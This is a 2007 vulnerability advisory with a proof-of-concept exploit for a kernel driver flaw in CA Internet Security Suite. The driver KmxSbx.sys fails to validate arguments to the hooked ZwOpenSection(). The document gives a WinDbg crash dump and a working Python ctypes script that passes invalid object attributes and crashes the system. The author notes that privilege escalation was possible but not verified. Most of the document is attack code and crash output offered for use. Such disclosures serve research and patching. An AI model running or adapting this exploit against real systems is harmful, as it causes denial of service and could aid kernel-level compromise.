"""
[05.08.2007]
Computer Associates: Internet Security Suite - ZwOpenSection() Vulnerability
------------------------------------------------------------------------------

    Version: 3.2.0.7
    Driver version: KmxSbx.sys - 6.0.0.78
        HIPS Registry, Spawning and Devices Guard driver

    Description:
        CA Internet Security Suite fails to validate user-mode provided
        arguments to the hooked function ZwOpenSection() in KmxSbx.sys,
        which is been executed in kernel-mode.

    Impact: System crash; possible privilege escalation not verified.

    Author: posidron
    
    Download: http://consumerdownloads.ca.com/consumer/apps/0/iss_de_32.exe

    Reference: http://msdn2.microsoft.com/en-us/library/ms804353.aspx
    
    System: Windows XP Kernel Version 2600 (Service Pack 2)

    Execution: python CA-NtOpenSection.py

-[WinDBG]---------------------------------------------------------------------

MODULE_NAME: KmxSbx

FAULTING_MODULE: 804d7000 nt

EXCEPTION_CODE: (NTSTATUS) 0xc0000005

FAULTING_IP: 
KmxSbx+c0c3
aa5d40c3 8b4508          mov     eax,dword ptr [ebp+8]

TRAP_FRAME:  a95efc98 -- (.trap 0xffffffffa95efc98)
ErrCode = 00000000
eax=f8f7e001 ebx=aa5d4080 ecx=0000002c edx=a95efd1c esi=aa5d407e edi=a95efd52
eip=aa5d40c3 esp=a95efd0c ebp=00000018 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206
KmxSbx+0xc0c3:
aa5d40c3 8b4508          mov     eax,dword ptr [ebp+8] ss:0010:00000020=????????
Resetting default scope

DEFAULT_BUCKET_ID:  DRIVER_FAULT

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
a95efd08 a95efd64 0022fb44 a95efd64 aa5d4080 KmxSbx+0xc0c3
a95efd0c 0022fb44 a95efd64 aa5d4080 002e002c 0xa95efd64
a95efd64 7c91eb94 badb0d00 0022fb38 00000000 0x22fb44
a95efd68 badb0d00 0022fb38 00000000 00000000 0x7c91eb94
a95efd6c 0022fb38 00000000 00000000 00000000 0xbadb0d00
a95efd70 00000000 00000000 00000000 00000000 0x22fb38

------------------------------------------------------------------------------
"""

from ctypes import *


class _OBJECT_ATTRIBUTES(Structure):
    _fields_ = [("Length", c_ulong),
                ("RootDirectory", c_int),
                ("ObjectName", c_wchar_p),
                ("Attributes", c_ulong),
                ("SecurityDescriptor", c_void_p),
                ("SecurityQualityOfService", c_void_p)
                ]


def InitializeObjectAttributes(ObjectAttributes,
                               ObjectName,
                               Attributes,
                               RootDirectory,
                               SecurityDescriptor):
    ObjectAttributes.Length                     = sizeof(_OBJECT_ATTRIBUTES)
    ObjectAttributes.RootDirectory              = RootDirectory
    ObjectAttributes.Attributes                 = Attributes
    ObjectAttributes.ObjectName                 = ObjectName
    ObjectAttributes.SecurityDescriptor         = SecurityDescriptor
    ObjectAttributes.SecurityQualityOfService   = None


class Logger(object):
    def __init__(self, logname):
        self.logname = logname

    def __call__(self, message):
        print message
        f = open(self.logname, "w")
        f.write(message)
        f.close()


if __name__ == "__main__":
    log = Logger("ca-iss.txt")
    
    NTDLL = windll.LoadLibrary("ntdll")

    """"
    NTSTATUS 
        ZwOpenSection(
            OUT PHANDLE  SectionHandle,
            IN ACCESS_MASK  DesiredAccess,
            IN POBJECT_ATTRIBUTES  ObjectAttributes
        );
    """
    
    log("NtOpenSection()")
    ObjectAttributes = _OBJECT_ATTRIBUTES()
    InitializeObjectAttributes(ObjectAttributes, -1, 0, -1, None)
    NTDLL.ZwOpenSection(c_int(), -1, ObjectAttributes)